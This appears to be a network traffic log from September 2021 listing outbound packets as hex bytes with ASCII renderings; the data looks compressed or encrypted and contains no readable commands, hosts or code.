2021-09-13 04:32:03 UTC	1070	OUT	Data Raw: 31 fd 82 db 57 b7 7d a4 e7 40 bc ed 5e 18 21 3d bb ec 2e 99 2e 3f 8f 7f 9e d8 67 a3 ed 2f 94 5e 9d 52 f6 15 ae 1b ee 7f 5b 05 20 d6 61 34 5f e6 4b e3 5d f9 39 15 e7 4b e9 b7 d7 27 a4 d7 e2 15 d2 6b d7 8f 48 66 87 2b dd be 3f b7 1f a6 c1 25 4b dc f5 dd e9 10 5c ab 43 a4 d7 42 bc 0c 2f 3b 1c f7 03 f3 a7 8e 94 95 2f 8e 92 9e bb 62 9e db 31 b1 c9 e3 bb f4 21 7c 6e a9 f4 ea ba 97 64 ba 5f e1 8e 1d e5 27 bb 73 20 4a 79 8f 22 e1 e9 cf 6d c7 03 75 1f 94 8a 99 5d 50 b6 c3 65 3b 1d 5c 58 b6 1f ca e5 07 02 b0 38 2f 99 1f 2e 4b 0a c0 34 e9 17 12 93 7c e0 03 01 d8 2a 69 d2 2f 24 4d f0 b5 c5 b6 08 c0 b4 e5 31 52 e4 1f 89 04 60 9a f0 23 81 f4 0b e5 9f 89 3f 92 3f 25 3e 40 48 1a 36 6a 30 b1 01 42 c2 48 40 6d 1a ec 25 60 5c 04 02 8d 0a a4 04 0c 29 25 00 1d 69 d2 2f c4 04 Data Ascii: 1W}@^!=..?g/^R[ a4_K]9K'kHf+?%K\CB/;/b1!\|nd_'s Jy"mu]Pe;\X8/.K4\|*i/$M1R`#??%>@H6j0BH@m%`\)%i/
2021-09-13 04:32:03 UTC	1086	OUT	Data Raw: 8d c1 f5 1f 89 73 19 51 27 65 da cc 0b e5 63 c8 d6 58 14 91 09 bb 48 da b1 52 eb 2b c5 56 31 76 e2 c0 0b 04 c0 3e ed 6c 70 8b fc 80 4d 0a 47 56 0d d1 e8 16 94 cf 5c 7f ec 13 64 ab 71 dd fa a1 c2 ca f2 ab 12 90 a0 bc 63 5b d9 6a 4b 1d a5 44 60 18 99 a8 78 01 a8 22 dd a3 7d 17 f6 7e 27 5d f6 a5 10 3d 7f 1a f9 e8 a6 93 d2 2f 84 c7 d1 ee 08 40 9e 27 2b fc 61 c4 9e 81 f3 54 2c 72 8b b2 c6 84 4d 00 07 b6 e1 7d e3 fd 2b 67 5f 5d a3 1a a4 62 0c ca ef d8 66 a9 c0 33 5a 81 67 b3 02 cf 26 cb 6f 87 e9 28 db 33 44 aa 50 5e 3a a1 dc 74 9a 23 2a fe 18 dd e7 22 fc 44 2a 00 47 f4 e6 28 df f9 99 2c a7 28 ef 78 0e 28 fa 54 f6 71 e0 9e 80 cc 2c 3c c7 33 f1 1c cc 40 99 27 94 7d 11 c8 c7 f2 ec 6c ac 8b e7 9a a9 46 0a 33 7f 4e a3 64 f1 9c 69 a4 f0 5c e4 cf c1 76 08 a6 73 f7 e1 Data Ascii: sQ'ecXHR+V1v>lpMGV\dqc[jKD`x"}~']=/@'+aT,rM}+g_]bf3Zg&o(3DP^:t#"DG(,(x(Tq,<3@'}lF3Ndi\vs
2021-09-13 04:32:03 UTC	1102	OUT	Data Raw: 1b d0 48 05 b6 47 03 ca 79 01 69 39 4e 24 a0 29 01 55 44 a0 4d 04 3a c9 3f 85 25 32 d0 21 22 50 49 40 c6 49 fa 39 12 a7 8a b0 5d 02 8a b9 02 75 34 01 e8 24 02 ab 8a 0c 54 58 52 85 6d 44 23 04 e9 c1 46 09 40 7e 20 e1 07 0a 25 00 bf 61 94 04 94 0f 07 8e 28 11 68 44 02 ba be a7 07 cb 01 f4 10 f9 03 3d 78 1a 12 90 23 02 45 54 a0 12 7f 3f d0 18 c6 94 80 f4 d0 6a c8 3c 25 00 ed a8 39 05 05 22 cd 38 8a 94 31 61 21 02 05 83 69 5d 45 58 0d a5 87 5b 43 0a 4a 64 1f cf df e6 d8 0a e8 b5 0c 99 12 23 04 a9 75 db 84 89 40 45 0c 72 3b 96 de a3 81 4a 1d 16 a9 c1 13 82 48 98 48 f0 5c 81 93 89 29 d4 3f 25 00 17 cf 79 36 8d d6 79 de 33 82 e7 44 53 b8 a7 31 21 21 01 eb 4c f3 8b 0a c3 f5 67 56 a2 e1 ac 0a 34 a2 07 f0 03 67 96 a0 e9 ac 62 1c 32 bb 18 47 a4 97 e3 d8 74 0f 3d 84 Data Ascii: HGyi9N$)UDM:?%2!"PI@I9]u4$TXRmD#F@~ %a(hD=x#ET?j<%9"81a!i]EX[CJd#u@Er;JHH\)?%y6y3DS1!!LgV4gb2Gt=
2021-09-13 04:32:03 UTC	1118	OUT	Data Raw: ea 22 50 a6 13 13 3c 4f dc 84 b0 98 9b ae e1 a0 bf 71 fa b0 d5 78 ef 8f 00 66 03 48 23 5e fc a5 12 a7 4f d8 80 46 e3 8a c4 1c 7f 09 13 08 16 78 93 e8 78 2c ef 54 b5 e2 09 30 ab cb 72 31 09 46 08 46 bd c2 2c 0b 40 21 01 69 3b 0b 25 43 f8 89 96 a3 cd 58 26 72 2b b6 d3 f1 85 28 a4 3e 1e 23 d2 8b a9 9d 4a 7d d3 68 5f 42 46 22 1a db 26 d1 f5 9d 1c 10 29 ca 8c 4a 2f 56 f3 11 d6 a3 07 6e 2e 52 22 98 52 8e 03 26 97 a2 f1 e4 62 1c 32 b5 10 47 4e 2f 41 b3 19 c5 38 8e 38 99 38 7b 76 29 9a a7 94 e2 d2 94 32 5c 99 56 8e b6 e9 65 b8 29 cb 83 ce b9 5e f4 28 08 e1 9e 05 5c 30 04 78 9a 1e f8 5f 58 09 bc bc 1a 78 63 0d f0 ee 5a e0 83 75 c0 c7 04 0b be 6f 37 49 31 38 60 33 f0 23 f1 93 c1 40 5e df 42 db b6 03 df ec 00 be 26 38 dd 98 53 8d 3f d8 08 bc f5 17 f0 fa 7a 3a 2e 1d Data Ascii: "P<OqxfH#^OFxx,T0r1FF,@!i;%CX&r+(>#J}h_BF"&)J/Vn.R"R&b2GN/A888{v)2\Ve)^(\0x_XxcZuo7I18`3#@^B&8S?z:.
2021-09-13 04:32:03 UTC	1134	OUT	Data Raw: 84 85 04 b4 88 40 22 89 c6 33 c9 44 bd 19 41 34 98 19 42 a3 59 61 34 4d 09 8b 79 03 8f 4c 0b 83 2b c6 1e 9f 15 c1 49 d9 11 9c 92 1d c2 69 86 10 e2 d4 50 8e fa e2 b9 df 44 ca 70 2e 47 6f 85 d0 96 b8 21 2f 80 9b f3 7c b2 b8 48 5e 05 7a e4 97 e3 ae 82 0a dc 37 cf 83 3e f3 3d 78 8c 78 ba a0 08 af cf df 89 ef 56 15 63 ee 4e 1f fe 04 b0 90 f8 6c 3d 70 f9 94 1d 38 f0 07 fa ad fb 92 be b3 1f 97 22 f1 ed 6d a8 f3 c6 16 24 bf b1 11 49 af 6f 80 fb d5 bf 84 00 3c f3 83 45 78 35 73 3b 56 94 03 3b 11 c6 c6 48 18 73 77 14 63 e6 e6 4a cc d8 0a a4 6d 03 b2 a8 cd a3 76 0e dd cf 73 77 10 2c 02 4b 68 9d 05 61 99 24 8f ee f3 ec 62 20 93 48 2f 04 52 09 9e ab 70 3a 8d 9f 42 fb 4d a4 63 70 f4 e0 c8 0d c0 b0 75 61 0c fe 23 80 1f fe f4 e3 eb 75 41 7c b8 d6 8f 77 7e f5 e0 d5 5f 3c Data Ascii: @"3DA4BYa4MyL+IiPDp.Go!/\|H^z7>=xxVcNl=p8"m$Io<Ex5s;V;HswcJmvsw,Kha$b H/Rp:BMcpua#uA\|w~_<
2021-09-13 04:32:03 UTC	1150	OUT	Data Raw: 22 5f ef cf 5a f5 f7 46 35 d5 37 d6 65 3e 67 4f f3 55 18 a8 16 03 b1 e1 2f 8d 7f 7a ca 6f 20 b5 e8 47 f4 96 e5 0c 80 34 da 84 d3 00 18 b9 9d 56 a3 f4 00 a0 e0 5f 18 02 d6 10 00 e6 7a be fd 3c 37 03 80 92 60 1c 25 a3 0b 7d fb 02 cf 21 04 54 98 67 23 9f 40 9f fb d8 44 cf e3 e7 d2 eb e9 7c 00 48 f8 47 69 fc 13 00 54 a3 ff f2 00 c0 6c 65 c3 c1 1d 00 80 6a 1a 70 82 f3 e1 5e 3e e5 03 80 94 a0 9f fd 58 5d 07 90 6e 13 10 7b 31 0d 80 fb 0f fa 14 ea 8f c7 3f 1e 35 00 9e 31 6a bb 1f 00 09 d6 3c f8 e6 6d 37 00 aa 0a 05 40 27 1b 00 29 77 5a 30 03 60 b6 51 80 1f 62 1e f8 93 aa 13 00 8b 46 27 61 af 51 00 fb 62 7f 1c 03 70 d8 38 80 63 b0 13 c7 25 e1 b4 c9 09 5e e5 95 00 f0 a1 39 9b 61 cc d7 09 06 c0 d1 65 c0 23 b8 8e 78 7e 1d fc ec 51 fc 7d f9 00 76 0f fe 3e bd 7d b5 1a Data Ascii: "_ZF57e>gOU/zo G4V_z<7`%}!Tg#@D\|HGiTlejp^>X]n{1?51j<m7@')wZ0`QbF'aQbp8c%^9ae#x~Q}v>}
2021-09-13 04:32:03 UTC	1166	OUT	Data Raw: 02 c0 c0 73 f2 06 c0 f5 5c 18 00 ca d4 5e c2 bf e8 03 9f 41 e4 41 95 0f fd ec 64 a5 5f 03 81 16 fe d9 00 68 7a 94 ae f3 97 4e 01 a0 4e 8f 06 e4 1c d8 cb 37 1f 00 da e0 e7 e6 c7 3f ca 81 3f 3b 1b 00 6d d0 b3 b2 b1 cf 57 36 00 a4 04 01 05 fa 6c 04 b4 b7 09 fc 05 a6 06 e3 f6 ea 00 c0 d6 f8 47 e5 6e 00 d4 b7 3f 52 00 8c 7c 84 9f 17 b3 01 d0 46 40 c2 3f 9e 12 3c 0a 7f c6 a8 d1 34 fd 57 8d fe 23 00 2c 1a 99 32 00 18 1b 59 c1 0b 81 1c 38 36 09 87 8c 05 f8 d7 b8 04 03 e0 1d f3 d5 08 40 fc 51 83 a1 5f 02 5c f1 c1 17 70 e0 23 2b f1 f7 d2 2a d8 e3 ce e5 0a 00 cd ef 75 ac cb 3c 03 80 a7 3d 3c 29 14 00 65 04 60 36 00 a4 d1 7d 17 4e 49 04 10 2f 38 c5 57 4f ed d5 b0 27 65 03 c0 46 f8 5e 84 7f 8d a7 5b f0 37 5d 4d 03 16 f8 63 fc a3 51 7f 35 0e 80 09 2e 1b 00 aa a9 bf 0a Data Ascii: s\^AAd_hzNN7??;mW6lGn?R\|F@?<4W#,2Y86@Q_\p#+*u<=<)e`6}NI/8WO'eF^[7]McQ5.
2021-09-13 04:32:03 UTC	1182	OUT	Data Raw: 8f bf 23 97 f2 ff 2e f8 00 70 cf 8e 0a 00 69 04 e0 ff d6 a8 11 80 02 80 37 8c ff 12 ae 9c a4 00 90 46 ff 11 00 d2 14 e0 06 53 d2 53 80 09 00 19 01 a7 05 a7 f4 ba 35 c4 63 7c 65 ec 77 00 b0 31 be 2f 95 0b 00 c3 ba 6c 7a 92 23 f4 cb 06 80 f2 f8 aa 99 49 4e 00 50 ae 05 28 00 d8 6c 76 8a ab 09 00 24 fc 0b 03 c0 8e b3 e3 59 01 30 6c 11 90 42 01 50 10 f0 de 85 1a 01 2d 00 a4 b2 01 a0 0f 01 5d 00 74 7b 62 45 82 11 30 e7 22 20 16 fe d9 00 a8 f0 2f 1c 00 09 fe 24 1f 00 12 fe 51 43 d7 a9 95 7f b3 01 e0 a3 0b b7 c3 d5 c3 d7 54 01 00 ff ef 74 0d 2d 2b a1 ef 19 fb e1 fd c3 21 f2 1b 4a 6f ab 1d 81 48 a4 25 de 2f 86 be a7 ee 05 b5 fb 15 03 0c c7 3f f6 7e 7d 30 44 7f f7 0f 88 1e a4 01 90 c0 ed 8f d7 32 e6 0d 6b 77 20 c3 52 84 46 ea fd 5e c1 57 94 40 ef 37 8d cc fe e8 3e Data Ascii: #.pi7FSS5c\|ew1/lz#INP(lv$Y0lBP-]t{bE0" /$QCTt-+!JoH%/?~}0D2kw RF^W@7>
2021-09-13 04:32:03 UTC	1198	OUT	Data Raw: 83 aa 04 e0 e8 c5 90 7c 86 31 9f 33 8b 8c fc 03 a6 ad 92 c6 2e 5a 4d 63 16 af a6 47 17 55 d0 d5 73 97 d0 99 af 7d 2d 02 70 ab 1e fc 3b e5 09 83 f8 77 ff 81 fc 39 e4 d2 ea 0a 40 f7 cf 4b d4 05 59 7a be 00 dc 68 6b c3 5f 1a 18 e1 86 6b d3 c5 22 0c 17 dc 76 84 1d 6f 05 e2 8b dd ec 78 be d7 06 d8 47 50 ef ef 0a 40 3b 07 ee 85 7d 01 f1 ac c8 f6 83 04 c4 33 1e 79 37 8f 20 7a a1 d7 6e dc b7 9f 29 f2 b1 e3 09 72 8c 7d 0a 73 de 73 8b 03 a5 38 49 72 17 2b 00 95 90 c0 12 9a 47 a8 b4 f3 c9 25 f7 42 7d 8a f6 ff 57 0a 40 bc 6f 36 53 32 b6 fc d7 ca bf 6a 09 c0 58 d6 9f c1 ec e9 97 2d f6 b4 6d ad 0b 40 b0 96 33 00 5d 7c 01 08 22 11 a5 f7 f1 9f 23 c2 b9 af 4b ec 19 f3 a0 f7 b1 c2 2a 17 ee b8 82 08 dd 6b 4d f0 5f 77 68 8c 4b d6 33 a1 9d a3 95 70 2a f2 44 be a1 cd 7f 8d 2a Data Ascii: \|13.ZMcGUs}-p;w9@KYzhk_k"voxGP@;}3y7 zn)r}ss8Ir+G%B}W@o6S2jX-m@3]\|"#KkM_whK3pD*
2021-09-13 04:32:03 UTC	1214	OUT	Data Raw: 3f 4f 00 32 d1 b2 e0 f3 e3 12 d0 c8 3f e6 fc 0f 84 ea 0a 40 90 1a 90 47 00 e6 42 e5 5f 35 25 60 48 ea 55 87 ea 08 40 39 86 f8 bb 9c c7 38 12 50 c4 9e 15 80 8a 91 77 ce 39 f7 8b 28 74 04 a0 1c a3 dd 8e 15 62 f2 8f 81 c4 fb 8d 05 60 24 fd 02 7b fe 81 e4 4d 28 fa 61 80 fc ab 0d 01 08 22 09 17 e8 53 5c 59 27 63 7d 61 57 15 01 01 98 ba 35 3e 67 6c de 40 16 a0 22 02 10 55 80 ad 00 2c b9 e3 67 11 80 f5 5e a9 a0 0b 16 f0 07 e0 1f 88 3a ce 36 19 80 10 80 90 7f c2 30 fa 53 00 2a 63 f9 3e 79 58 db 02 b0 2a 5c 61 27 d2 2e 30 a6 3a c4 e6 aa 05 01 78 d0 0b df 48 06 20 04 e0 b3 3f 13 75 78 e6 2b da f2 f2 99 46 00 e2 e7 3b 7e de 67 09 c0 89 91 00 bc fa a5 4f 68 de ea 8c 00 ec 39 ed 5b 6a 34 fe 47 6a 30 65 19 1d 33 65 35 1d 39 9d e8 88 a9 10 80 15 74 cc a4 52 11 80 ae 04 Data Ascii: ?O2?@GB_5%`HU@98Pw9(tb`${M(a"S\Y'c}aW5>gl@"U,g^:60Sc>yX\a'.0:xH ?ux+F;~gOh9[j4Gj0e3e59tR
2021-09-13 04:32:03 UTC	1229	OUT	Data Raw: ef a7 56 09 e9 a7 96 0b a9 a7 56 52 fa 69 fe 7a 3f bd 92 12 4f ad e0 39 97 f2 fd f9 fb e1 e9 25 b4 ee 33 bf d0 06 cf fe 4c 5b 3e b1 88 8e 7d e2 1d ba e5 93 65 34 9d 3f 73 8d e5 ef b7 d3 06 7f 48 9b f4 78 9d ea 76 9e 44 45 9d 66 f0 cf 8a a9 94 ee 3c 5e fe d3 22 d1 65 34 25 ba 3f c6 91 7f d6 74 19 46 ff ba f8 49 ba fd 95 4f 69 71 29 d1 7b ab f9 33 dc e7 cb a9 e5 eb f3 e9 d0 17 16 d2 21 af fe 4a fb bd ba 9c f6 15 56 d2 7e af ac a6 fd 5f 66 5e 5b 21 1c f0 ca 2a a6 94 f6 7d 79 45 c4 7e af ac 94 b1 7b bf c6 bc ba 9a f6 7a 6d 35 ed f3 46 19 ed f9 46 29 ed c1 fc 7b 1c c7 f1 65 f4 af 09 cc f8 72 da 63 dc 2a da 67 1c cf 3f 6e 99 b0 df f8 e5 b4 ff 04 9e 7b e2 ca 08 b4 f9 7d 07 4e 5a 15 61 32 0b cb 6c a6 a1 c9 2a 04 58 5e 7c d4 a4 32 3a 9a 8f c1 b1 3c e6 38 6e 3b 7e Data Ascii: VVRiz?O9%3L[>}e4?sHxvDEf<^"e4%?tFIOiq){3!JV~_f^[!}yE~{zm5FF){ercg?n{}NZa2l*X^\|2:<8n;~
2021-09-13 04:32:03 UTC	1245	OUT	Data Raw: 96 88 cc ab 18 24 01 31 89 45 5e 91 6d 4d 0c 12 24 08 b1 91 a0 32 75 b8 83 59 0f 50 31 d3 89 5f e5 6b 1e 29 fd 65 8d 3f 89 5c c4 d8 56 32 42 92 ca 36 ea b8 0d 49 41 64 3d c0 d1 86 0b de a4 c4 79 63 f9 f8 51 fc 5e a0 0d 0c 17 b1 87 ac d3 58 67 11 9f 39 59 8b 51 80 e8 83 28 e4 31 65 4a 34 de 43 fb d9 6c 8b cf 3b ff 6e b7 79 82 3f 87 fc bb d9 9a 7f 47 5b f1 ef 7f 2b fe bd 6f cd 60 bb 25 e0 36 de 4e b5 ee cd 3c 2e 24 5b 1a 12 2d f8 3b c1 01 d3 ef 11 e1 9b 3e 8d fb c9 9a 9f e0 31 2a 3c f5 31 29 cd 1a a2 fc dd a0 d1 7f 19 12 d0 4c 17 0e c8 10 82 fc 1d a7 88 f8 f3 90 64 1a 4c 90 ec c8 12 c8 3e 15 80 8a d6 5b 32 8e 0b e5 1f b6 55 d6 61 6d 41 9d 3e ec ae 25 08 61 e6 0b 34 17 39 a6 31 7f c7 3b a4 9b 60 3d 43 f0 40 84 64 13 fe ce 77 48 34 e6 bf 07 76 3b d5 d8 25 3a Data Ascii: $1E^mM$2uYP1_k)e?\V2B6IAd=ycQ^Xg9YQ(1eJ4Cl;ny?G[+o`%6N<.$[-;>1*<1)LdL>[2UamA>%a491;`=C@dwH4v;%:
2021-09-13 04:32:03 UTC	1261	OUT	Data Raw: 71 1e 25 8f e4 eb 43 04 1d 83 eb 2e 38 a6 b3 90 3e ca 50 70 74 97 58 d2 c7 5d 48 49 26 5b 29 11 76 5c 26 b8 14 10 61 07 6c 7d aa e6 45 59 49 d6 0a 4b 25 55 bb ab 90 ae 03 e1 c7 d4 33 51 65 e9 fa 90 59 57 53 41 03 13 ad 55 88 48 2d b7 6c 70 a3 89 de 6a 18 2d 25 ca 0b 12 4b 23 c2 ec d4 48 9d 36 09 49 26 11 62 5c ba 40 ae 81 44 9d 1e 4c 77 4a d6 0e 4b 13 8d 86 76 ae ab dd 5d ea a5 cd 89 50 33 d7 0b 91 d6 33 27 05 f5 6f c8 00 f7 a2 b8 eb a5 55 04 a6 73 56 96 02 08 b5 2c 40 b6 25 1a df 64 44 5e 53 48 37 23 de 92 0e 90 69 a9 93 8c 5c 43 09 71 96 3a 89 ff 80 5b 92 56 c2 25 9b 62 4a 68 88 1f c1 e6 f6 09 85 9d 6d e3 71 dc 12 62 ce 44 b6 dd 43 c9 13 ee 12 20 ea e2 30 d2 8e fb d9 d2 95 77 3e c9 53 4c 99 68 66 44 5f e2 e4 07 28 71 8a cd 0a da 8c 39 15 49 0f 18 2e 93 Data Ascii: q%C.8>PptX]HI&[)v\&al}EYIK%U3QeYWSAUH-lpj-%K#H6I&b\@DLwJKv]P33'oUsV,@%dD^SH7#i\Cq:[V%bJhmqbDC 0w>SLhfD_(q9I.
2021-09-13 04:32:03 UTC	1277	OUT	Data Raw: 29 b4 3a 8d d6 26 d4 30 a0 ce 15 80 a7 f0 38 21 c9 03 9a e5 24 b1 3f 9f 33 e0 c4 0c 54 5c 2a d9 ea 95 50 fa b9 32 90 c1 fe c1 5c cf f7 ad 89 41 70 ed a9 7f 9c c6 9c 21 98 ec c0 8a 2f d7 20 dc 20 de 5a 1b 02 61 77 a6 ad 6f 63 db b0 8d fa e8 f1 9a 70 24 a5 6b f5 a1 1e d3 90 ed 54 64 cd 48 ec 1e 13 8c 15 43 b0 e6 9f db 5f 8e 41 bd 01 92 11 40 3a 06 1c de 56 10 69 07 11 c9 a5 88 48 48 41 94 1e d2 a7 12 98 28 40 83 26 20 91 24 24 56 04 86 74 8c 80 2c b7 c0 95 5d 2a bc 5c 42 c1 97 0d 4f fc f9 1c 65 32 e6 2a 2a 04 75 1f 32 0d 52 4d 11 b9 e6 d4 e9 76 e2 88 0b 42 78 5c d3 ee 0a 48 83 7f fd 72 0f 72 6f 59 04 68 70 6c e6 b5 eb 35 c8 f5 1e 19 0a cc d4 31 17 4b 09 24 0b b0 e2 8b 40 95 81 2e ba 36 a0 12 48 c2 2b 63 65 5f 48 f7 2c 70 5b 1d db 47 a6 fb f6 30 d4 0b a3 fe Data Ascii: ):&08!$?3T\P2\Ap!/ Zawocp$kTdHC_A@:ViHHA(@& $$Vt,]\BOe2**u2RMvBx\HrroYhpl51K$@.6H+ce_H,p[G0
2021-09-13 04:32:03 UTC	1293	OUT	Data Raw: 70 2f 85 80 3c 0a b0 23 a4 f6 bb d5 76 1b 17 1d 79 67 e0 2d 82 78 07 dc c3 09 0e 0a ca 05 1d 84 8f a1 e8 b6 06 3d 05 78 de 63 6e c1 39 34 dd 58 65 41 32 71 b0 8d 41 cf 41 3c 4e b0 cf dc 17 f0 8b c0 1f 6d 83 42 e4 63 e8 93 a9 be 3a c1 39 06 3a b9 4f 50 47 f7 b1 23 1e 63 88 33 f0 17 1d 91 e7 16 4e 1d 8e 09 9f c3 8d 9e 3b c0 bc 23 3b 17 a6 f6 27 8f 32 a5 8e 7e 26 92 ec 2f 16 9d a7 61 af 20 da 7f 24 6e 8f 7a 16 6f 3f c7 d1 c2 1f 7c ed 3f 55 e2 d8 28 c4 99 95 78 5f e1 a9 b7 8c 78 8c 6f 6f 43 ea d4 77 20 75 ca bb 90 38 e5 9d b0 93 df 32 23 04 4f 7a d3 14 4c 05 36 d3 81 19 0f 09 11 69 4a 2f af 0a 6c 9e 3f 80 c0 e0 f5 2c fc 49 c1 b5 ff 2c 02 da 11 80 21 04 1a 00 4c 9e 8a ef e7 b4 77 21 79 fa ff 38 46 bf 33 cd 35 ff 74 02 80 3a 5e 10 e4 2c 3c 1e 2c 0c e2 c9 39 96 Data Ascii: p/<#vyg-x=xcn94XeA2qAA<NmBc:9:OPG#c3N;#;'2~&/a $nzo?\|?U(x_xooCw u82#OzL6iJ/l?,I,!Lw!y8F35t:^,<,9
2021-09-13 04:32:03 UTC	1309	OUT	Data Raw: 35 84 bf a7 a7 e6 39 01 40 81 3f 1f 00 6a 08 2c 17 00 e9 da 7f 3e 00 7c 79 36 f8 01 f0 a8 fb f0 33 05 7d 06 b2 00 e8 c3 37 5d 8b 03 a0 07 02 e5 35 db 1a 00 f2 71 0d 7e 71 d9 e7 e1 e8 71 36 17 ff 7c 00 18 dc 17 00 f4 a0 9f ce 7d 9c 9b 0f fd 74 be c7 ac ab e4 6b 29 56 ec f9 6d 06 00 cd 48 40 17 ec e2 8a 03 3e 29 ee 78 b0 7f 23 00 96 55 1c 00 9a 29 c0 f4 da f6 f5 24 01 40 c2 3f 01 40 5a ec 63 23 00 46 01 d0 59 fc 43 00 30 b5 4f 47 ae 24 00 ee 67 16 02 31 f8 47 b7 5b 19 00 7d e8 a7 73 e0 cf cd 87 7a 0d a9 1c 00 e4 14 00 32 02 36 10 00 83 1c f0 73 8b 00 a0 c5 3f de ef c1 3f ee b8 57 a2 00 28 78 a7 f0 4f 00 50 23 60 83 01 90 0a e0 4f 0a 01 90 de 53 29 00 d4 20 d7 50 00 0c 10 50 03 20 65 01 50 16 ff 10 f8 0b 00 d0 2e 36 42 53 7e cd eb bd 67 d2 00 78 c6 07 06 fd Data Ascii: 59@?j,>\|y63}7]5q~qq6\|}tk)VmH@>)x#U)$@?@Zc#FYC0OG$g1G[}sz26s??W(xOP#`OS) PP eP.6BS~gx
2021-09-13 04:32:03 UTC	1325	OUT	Data Raw: 9f 14 80 5f 2b 02 a0 c6 3e 5f fa dc a0 47 0c 02 36 1a 00 3b d7 31 00 6e f6 d4 0a f8 fe e3 b3 e1 a0 6e d9 00 00 ff 43 d3 c6 5e a9 82 cd 5e 4c 33 00 a6 de 70 00 90 00 af 39 01 b0 4c 04 dc 08 80 b8 4f 10 d0 87 7a 0d a9 29 00 c8 65 f8 3a 80 15 dd ea 19 00 2b be cc c0 37 f1 bc ef f5 04 9e 06 fc db 3e 79 f8 73 9f 34 fc ab 6f 1e f6 e8 97 e5 51 6d 17 0c cd c2 9d a3 d6 32 6a 4c af 33 2b 00 d3 4a be 04 80 87 f5 58 08 3f 79 65 0e 03 60 ea c1 b5 90 c4 df 5f fe 37 41 01 e0 37 6f 34 00 d8 d1 02 20 3d d6 07 80 87 e2 6b c9 08 40 01 c0 83 9b 19 00 69 4a 71 24 e7 b8 c6 3f 7a 0f 1a ff 9a 03 00 83 68 5f 90 99 f2 4b d1 ea be 74 7d 3f 9e ea 1b 81 3f 8d 7f 10 c0 1f a5 af f1 27 f8 77 e1 f0 0c 5c 3c 3c cb 31 fc e1 31 da 76 c0 f3 19 fe ec 6a bf 32 ed 57 ae f9 17 2c f2 31 c6 4c f5 Data Ascii: _+>_G6;1nnC^^L3p9LOz)e:+7>ys4oQm2jL3+JX?ye`_7A7o4 =k@iJq$?zh_Kt}??'w\<<11vj2W,1L
2021-09-13 04:32:03 UTC	1341	OUT	Data Raw: f4 94 7c d5 61 44 00 fe b7 05 a0 97 04 d4 fc e9 02 90 e1 7e 83 ff ef 02 d0 8b ed 15 80 db 4b 2a 01 a8 e7 02 74 08 40 87 04 d4 11 7f 4e 01 c8 73 01 9a 02 90 a3 ff ea 22 00 53 62 ee c7 f2 4f 63 1e 87 96 75 f4 9f 26 ed 0e 6a 4d 09 f8 4f 15 80 a6 fc fb 07 0b 40 96 7f 7f a6 00 d4 e3 6c 3c d2 7d 4d cc 73 c8 71 53 08 40 9f 21 00 75 e4 9f 97 00 74 8b 3f 8d 19 f1 e7 c9 ff 8a 00 34 04 9f a7 04 34 b6 6f 8b 00 74 44 00 d6 52 00 3a 22 00 5d 02 d0 2d 01 3d a5 5e 5d 70 45 ff 39 04 e0 b7 45 4a fe 79 44 00 ee 08 01 98 24 ff b6 51 00 d6 6f 5b 2e 02 f0 c0 36 1b f1 90 25 00 df d9 e8 12 80 5d 68 5f 96 7d 7f a6 00 dc 1e 09 e8 25 ff 98 6d 10 80 8c 97 ec f3 c2 53 ea 55 87 3b 22 d0 4b fa 99 d4 46 00 7a 49 40 dd ff 17 08 40 5e af 51 00 52 cb 15 81 9b 65 54 e1 88 cc 72 5c 3e a1 02 Data Ascii: \|aD~K*t@Ns"SbOcu&jMO@l<}MsqS@!ut?44otDR:"]-=^]pE9EJyD$Qo[.6%]h_}%mSU;"KFzI@@^QReTr\>
2021-09-13 04:32:03 UTC	1357	OUT	Data Raw: 04 e4 75 4b 00 ba c5 9f 29 ff b8 22 af 19 8d 57 5b 4c 01 e8 96 7a 6e 6a 23 ff b6 4b 00 ea 68 3e c6 bd cd 4b fe 31 86 00 e4 f4 df ba 0a 40 5b fe d9 02 30 82 06 9d f2 b0 7f e7 65 78 69 71 25 7e 2d 00 da 95 d2 8f de e9 95 38 ac 67 a1 21 00 89 1e 74 2e 53 00 1a d2 ce 94 7d a9 30 c7 57 8b 97 fc 63 52 09 40 2f f9 c7 f4 53 82 af 26 64 be 3f 2d 01 07 d0 b5 a6 40 cb 3f 2d 00 9d 29 bf 8c 4a fb e5 b9 fc 34 52 e0 43 8a 82 70 4b cf cb 10 7a 2e 84 30 fc 43 83 44 a5 4d 60 58 15 11 42 fa 50 8d 53 fe d5 33 da 7a 43 42 68 30 24 2e e2 af e1 50 05 af d7 1f 4a 7d c3 e8 79 1d 1e b3 88 a0 de c8 28 11 b6 a9 3f 2a 22 91 7e 8d 47 57 60 e7 51 a5 68 4a ec 32 b2 18 bb 8f 2c c2 7e c4 81 c4 a1 23 0b 71 fc 98 52 9c 3a a6 04 67 64 16 e3 dc ac 62 5c 9c 55 8a ab c6 55 e0 c6 29 61 dc 31 23 Data Ascii: uK)"W[Lznj#Kh>K1@[0exiq%~-8g!t.S}0WcR@/S&d?-@?-)J4RCpKz.0CDM`XBPS3zCBh0$.PJ}y(?*"~GW`QhJ2,~#qR:gdb\UU)a1#
2021-09-13 04:32:03 UTC	1373	OUT	Data Raw: a5 f8 23 52 55 f7 65 78 9e 3f 26 95 f8 f3 bf bb ce 81 5b fc 79 09 c0 b4 0f 13 e2 2f 15 b6 00 b4 08 7c b8 d9 81 48 3f 8d 3b ba cf 8d 3b ba 8f 70 57 ee f5 92 7e 7a 7e 3f df 57 d4 ba 22 fe b4 f4 0b 7c 97 90 7e 81 1f ca 04 2d fc 6c 92 0a 72 98 a8 4a ba 76 9a af 81 9e bb 2f 29 d2 cf 43 fc 99 72 cf 91 7e 6b a4 e1 6a 81 97 2c f2 9c 70 f4 9e 9e 63 2f d0 89 8e cd d2 cd ea 97 31 22 e1 12 28 c1 42 3f ee ad 68 2c 2d 4d 44 ac 70 eb 86 a3 f5 dc 92 85 e9 49 f7 49 c3 45 16 7a f2 3c 6d d4 32 dd e8 47 9f 71 8e 74 3a 4e 7a f7 28 ea f5 88 a1 3e ed ab e4 5f 08 f5 ba 04 51 9f da 46 dd 22 68 4c db 99 7a b4 6f a0 7b 15 1a f5 2d c5 be 7d d7 e2 aa 9c 35 e8 9c 1f 02 fd be c5 14 e2 93 25 15 38 7d e0 5a 34 ed 49 af cd fe f4 03 74 30 9d af 3f 9d 9b a5 df 40 da 77 60 10 69 43 e8 fc 83 Data Ascii: #RUex?&[y/\|H?;;pW~z~?W"\|~-lrJv/)Cr~kj,pc/1"(B?h,-MDpIIEz<m2Gqt:Nz(>_QF"hLzo{-}5%8}Z4It0?@w`iC
